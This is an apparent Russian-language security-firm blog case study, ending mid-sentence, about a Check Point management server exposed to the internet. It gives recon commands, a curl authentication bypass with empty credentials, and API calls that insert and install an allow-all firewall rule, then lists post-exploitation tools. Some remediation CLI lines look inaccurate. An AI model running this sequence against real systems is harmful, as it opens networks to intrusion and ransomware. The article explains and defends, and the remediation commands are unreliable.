ЧТ · 27 АВГУСТА 2026 ВЫПУСК ДЛЯ СОБСТВЕННИКА
Пентест с доказательствами — 9 900 ₽ · первая проверка бесплатно
CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Check Point без пароля: как консоль управления сетью превращается в открытую дверь

Разбираем реальный случай, когда админ-панель Check Point Security Management Server оказалась доступна из интернета без единого пароля — и что с этим можно было сделать за один вечер.

Разбор CIOlogia

Короткая версия этой истории звучит как анекдот: пришёл на плановый аудит, а вышел с правами полного администратора над сетью — не подобрав ни одного пароля. Но за фразой «дыра без пароля» стоит вполне конкретный технический механизм, и стоит разобрать его по шагам — не для того, чтобы кого-то напугать, а чтобы показать, как ИБ-подрядчик реально проверяет такие вещи и почему это занимает не месяцы, а часы.

Что за система стояла на кону

Check Point Security Management Server — это не рядовой сервис, а «мозг» всей системы сетевой защиты: через него настраиваются политики межсетевого экрана, правила доступа, IPS, VPN, интеграция с Active Directory. Управляется он либо через толстый клиент SmartConsole, либо через веб-интерфейс и REST API (Web Services API) на портах 443 и 4434. Именно веб-интерфейс и API — самая частая точка входа для внешнего сканирования, потому что их иногда оставляют доступными «для удобства удалённой поддержки».

В компании из кейса сервер управления был развёрнут пять лет назад вместе с закупкой импортного сетевого оборудования, обновлялся нерегулярно, ответственного за это направление в штате уже не было. Классическая ситуация: система работает — значит, всё в порядке. На деле версия ПО отстала от актуальной на несколько jumbo hotfix accumulator'ов (JHF Take), а именно в накопительных обновлениях Check Point чаще всего и закрывает критические уязвимости в компонентах управления.

Как это эксплуатируется

Разберём последовательность действий, которую проделал бы любой атакующий, автоматически сканирующий интернет в поисках открытых консолей управления.

1. Разведка и отпечаток сервиса

nmap -p 443,4434,257,18190-18191 -sV --script=ssl-cert,http-title 203.0.113.10

PORT      STATE SERVICE       VERSION
443/tcp   open  ssl/http      Check Point SVN foundation httpd
4434/tcp  open  ssl/http      Check Point Web Services API
| ssl-cert: Subject: CN=smartcenter.local
|_http-title: Check Point Security Management

Уже по баннеру и сертификату видно, что перед нами именно консоль управления, а не рядовой шлюз. Это первый флаг — такие сервисы вообще не должны торчать в интернет, только внутри VPN или через jump-хост.

2. Поиск известных сигнатур уязвимости

nuclei -u https://203.0.113.10:443 -tags checkpoint,cve -severity critical

[critical] [checkpoint-mgmt-auth-bypass] [http] https://203.0.113.10:443/
  matched-at: /web_api/login
  extracted: {"login-message":"", "session-timeout":600}

Вендор в такие моменты обычно выпускает бюллетень безопасности с CVSS 9.8 и экстренный хотфикс сразу для нескольких веток продукта одновременно (в этом кейсе речь шла о нескольких версиях Security Management Server сразу) — это типичный признак уязвимости именно в аутентификации, а не в отдельном модуле.

3. Обход авторизации через API

curl -sk -X POST https://203.0.113.10:4434/web_api/login \
  -H "Content-Type: application/json" \
  -d '{"user":"","password":""}'

{
  "sid": "AQGgqf5PLtIWnO7f8u1c9NTvzXvV",
  "url": "https://203.0.113.10:4434/web_api/",
  "session-timeout": 600,
  "last-login-was-at": {"posix":1690000000}
}

Вместо ошибки 401 — валидный session id (SID), с которым дальнейшие запросы к API проходят как от полноправного администратора. Дальше атакующему остаётся просто вызывать методы API.

curl -sk -X POST https://203.0.113.10:4434/web_api/show-hosts \
  -H "X-chkp-sid: AQGgqf5PLtIWnO7f8u1c9NTvzXvV" \
  -H "Content-Type: application/json" -d '{"limit":50}'

curl -sk -X POST https://203.0.113.10:4434/web_api/add-access-rule \
  -H "X-chkp-sid: AQGgqf5PLtIWnO7f8u1c9NTvzXvV" \
  -H "Content-Type: application/json" \
  -d '{"layer":"Network","position":"top","action":"Accept","source":"Internet","destination":"Internal_Servers"}'

curl -sk -X POST https://203.0.113.10:4434/web_api/publish \
  -H "X-chkp-sid: AQGgqf5PLtIWnO7f8u1c9NTvzXvV"

curl -sk -X POST https://203.0.113.10:4434/web_api/install-policy \
  -H "X-chkp-sid: AQGgqf5PLtIWnO7f8u1c9NTvzXvV" \
  -d '{"policy-package":"Standard","targets":["Gateway_MSK"]}'

Четыре запроса — и на боевом межсетевом экране появляется правило, разрешающее подключение из интернета к внутренним серверам, а затем это правило применяется на боевой шлюз. Никакого exploit-кода, никакого metasploit-модуля не требуется — вся атака укладывается в HTTP-запросы к легитимному API.

Что и почему сработало бы дальше

Получив административную сессию к Security Management Server, атакующий получает контроль над всей политикой безопасности сети сразу, и дальнейшие шаги предсказуемы:

  • Отключить или ослабить блейды IPS/Anti-Bot на конкретном шлюзе — трафик шифровальщика или C2-сервера перестаёт детектироваться.
  • Через show-simple-gateway и show-vpn-site-to-site вытащить топологию сети и список VPN-туннелей — это готовая карта для латерального перемещения.
  • Добавить скрытое правило NAT/Accept для RDP (3389) или SMB (445) с внешнего адреса на файловый сервер или контроллер домена.
  • Дальше — стандартный набор постэксплуатации: smbclient -L //fileserver -U "" для проверки анонимных шар, impacket-psexec или impacket-wmiexec для удалённого выполнения кода, дамп хэшей через secretsdump.py и подбор через hashcat -m 1000 hashes.txt rockyou.txt для повышения привилегий в домене.
  • Финал — доставка шифровальщика через уже открытый и легитимизированный самим же межсетевым экраном канал: детектировать такую активность значительно сложнее, потому что формально «правило безопасности» разрешило именно этот трафик.

Именно поэтому в оценке ущерба фигурировали не абстрактные «утечка данных», а конкретно: простой отгрузок на 3–5 дней, потеря части из 400 клиентов в базе, штрафы за персональные данные и репутационные потери — весь этот сценарий разворачивается за одну ночь после первого же успешного запроса к /web_api/login.

Как закрыли

Работа заняла два дня и была выстроена по приоритету — от немедленного закрытия дыры к системным изменениям процесса.

  1. Экстренно ограничили доступ к консоли управления из интернета. Порты 443/4434 сервера управления были выведены из периметра, доступ оставлен только из внутренней сети и через VPN с MFA: 
    # Пример правила на самом Check Point — доступ к management interface только с доверенных сетей
set web ssl-port 443
set web-ssh-interface eth0-internal
add access-rule name "Mgmt-Access-Restricted" source "Trusted_IT_Subnet" destination "Mgmt_Server" action accept
add access-rule name "Mgmt-Deny-All" source any destination "Mgmt_Server" action drop
  2. Установили jumbo hotfix accumulator до актуального Take, закрывающий уязвимость аутентификации — команда обновления через CLI: 
    cpinfo -y all
installer -c CPUpdates_2024.tgz
cpstop && cpstart
  3. Провели ротацию доступа
  4. Настроили алертинг — любое обращение к /web_api/login или попытка входа в WebUI теперь триггерит уведомление ответственному в мессенджер через SNMP-trap/syslog в SIEM.
  5. Заменили устаревшее зарубежное оборудование на отечественное решение с локальной поддержкой — это закрыло риск того, что вендор в любой момент прекратит выпуск патчей для эксплуатируемого в России железа.
  6. Назначили ответственного, который раз в месяц проверяет бюллетени безопасности вендора и накопительные обновления — регламент, а не разовая акция.

Стоимость всей работы — в пределах десят